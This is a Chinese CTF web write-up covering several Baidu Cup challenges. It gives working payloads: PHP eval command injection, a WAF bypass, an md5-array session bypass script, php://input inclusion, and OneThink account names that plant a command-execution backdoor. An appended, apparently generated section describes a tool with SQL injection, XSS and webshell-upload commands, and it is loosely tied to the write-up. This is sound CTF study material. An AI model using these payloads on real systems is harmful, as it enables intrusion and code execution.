“百度杯”CTF比赛(二月场)-web-writeup

本文详细解析了CTF游戏中的几个挑战题目,包括利用PHP全局变量、命令执行、Session变量等技巧解决难题的方法,并介绍了如何利用网站配置不当进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

爆破一:

打开网页看到源代码:

 

根据提示这题就是找变量的值,本想爆破,但不太现实。百度 php获取变量的值 有个超全局数组 $GLOBALS 

爆破二:

打开网页看到源代码:

看到了eval() 函数,想到命令执行

提示不在变量中,应该再flag.php

Exp:

?hello=);system("cat flag.php");//

闭合前面,注释后面

但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右。

 

 

爆破三:

打开网页看到源代码:

 

有三个SESSION变量 nums:计数 time:记时 whoami:有个初始值 然后将$str_rands 生成的随机字符赋值给它。

$str_rands 就是生成2位随机的26字母

当满足$_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0 nums+1

 

写个脚本测试发现当md5(数组),条件即为真。

<?php

  error_reporting(0);

  $arr=$_GET['a'];

  if (substr(md5($arr),5,4)==0){

    echo 'yes';

    }

  else{

    echo 'no';

  }

?>

  

所以第一次访问

http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a

后面依次传值,10以上就行。

Python脚本:

 

#!usr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests

aa = requests.session()
code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text
# print code
cc = code[:2]
for i in xrange(10):
    url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])
    flag= aa.get(url=url).text
    cc = flag[:2]
print flag

 

  

include

 

看到allow_url_include开启:

 

直接 php://input就行啦

ls看有什么文件,然后cat。

 

 

zone

没写出来。

参考:http://www.cnblogs.com/Mrsm1th/p/6600876.html

利用nginx 配置不当导致目录遍历下载漏洞。

 

 

onethink

百度找到onethinnk的一个漏洞。

参考:http://www.hackdig.com/06/hack-36510.htm

 

 

就是注册个账号为:

 

%250a%24a%3d%24_GET%5ba%5d%3b%2f%2f%250aecho+%60%24a%60%3b%2f%2f的账号, 但因为账号长度有限制。所以分别两个来注册

 

账号一:%0a$a=$_GET[a];//

 

账号二:%0aecho `$a`;//

 

burp来改包,不然会失败。

 

依次登入,也要用burp来改包登入。

 

 

 

然后访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

 

查找下flag位置 cat就行了。

 

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

 

 

转载于:https://www.cnblogs.com/zhengjim/p/6666961.html

CTF比赛中,使用 `ctftools-all-in-one` 工具可以帮助选手快速定位问题、自动化测试以及提高解题效率。该工具集成了多种Web类题目常用的插件和功能,能够应对常见的漏洞检测与利用景,如SQL注入、XSS、文件包含、目录扫描等。 ### 使用 `ctftools-all-in-one` 解决 Web 类题目的方法 #### 1. **环境准备** 确保你已经下载并安装了 `ctftools-all-in-one` 工具包,同时具备 Python 环境支持。通常该工具依赖于 Python 3 和一些第三方库,例如 `requests`、`BeautifulSoup`、`lxml` 等。 ```bash pip install requests beautifulsoup4 lxml ``` #### 2. **基础扫描功能** `ctftools-all-in-one` 提供了基本的网站扫描功能,可以用于发现隐藏路径、备份文件、常见配置文件等。 ```bash python ctftools.py dirscan -u http://example.com ``` 此命令将对目标网站进行目录扫描,识别 `.git`、`.DS_Store`、`robots.txt`、`backup.zip` 等敏感资源,适用于像引用[4]中提到的源码泄漏情况 [^4]。 #### 3. **SQL 注入检测** 该工具内置 SQL 注入检测模块,可以自动探测是否存在注入点,并尝试提取数据库信息。 ```bash python ctftools.py sqli -u http://example.com/login.php --data "username=admin&password=123" ``` 此命令会对登录接口进行 POST 请求注入测试,适用于 Web 类题目中常见的登录框绕过或数据库信息获取景 [^4]。 #### 4. **XSS 漏洞检测** 对于存在用户输入输出的页面,如留言本、评论框等,`ctftools-all-in-one` 可以自动探测 XSS 漏洞。 ```bash python ctftools.py xss -u http://example.com/submit.php --data "comment=test" ``` #### 5. **文件上传漏洞检测** 该工具支持检测是否存在可利用的文件上传漏洞,并尝试上传 WebShell。 ```bash python ctftools.py upload -u http://example.com/upload.php --file shell.php ``` #### 6. **Cookie 注入与会话劫持** 通过设置自定义 Cookie 或模拟登录,可以尝试进行会话固定、越权访问等操作。 ```bash python ctftools.py cookie -u http://example.com/dashboard.php --cookie "PHPSESSID=abc123xyz" ``` #### 7. **结合实战案例分析** 在实际 CTF 比赛中,Web 题目往往需要综合运用多个技巧。例如,在引用[4]中提到的 `.DS_Store` 泄漏事件,可以通过以下命令检测: ```bash python ctftools.py dsstore -u http://example.com/.DS_Store ``` 该命令将解析 `.DS_Store` 文件内容,提取出可能存在的源码路径,进而下载源码进行审计,寻找 flag 所在位置 。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值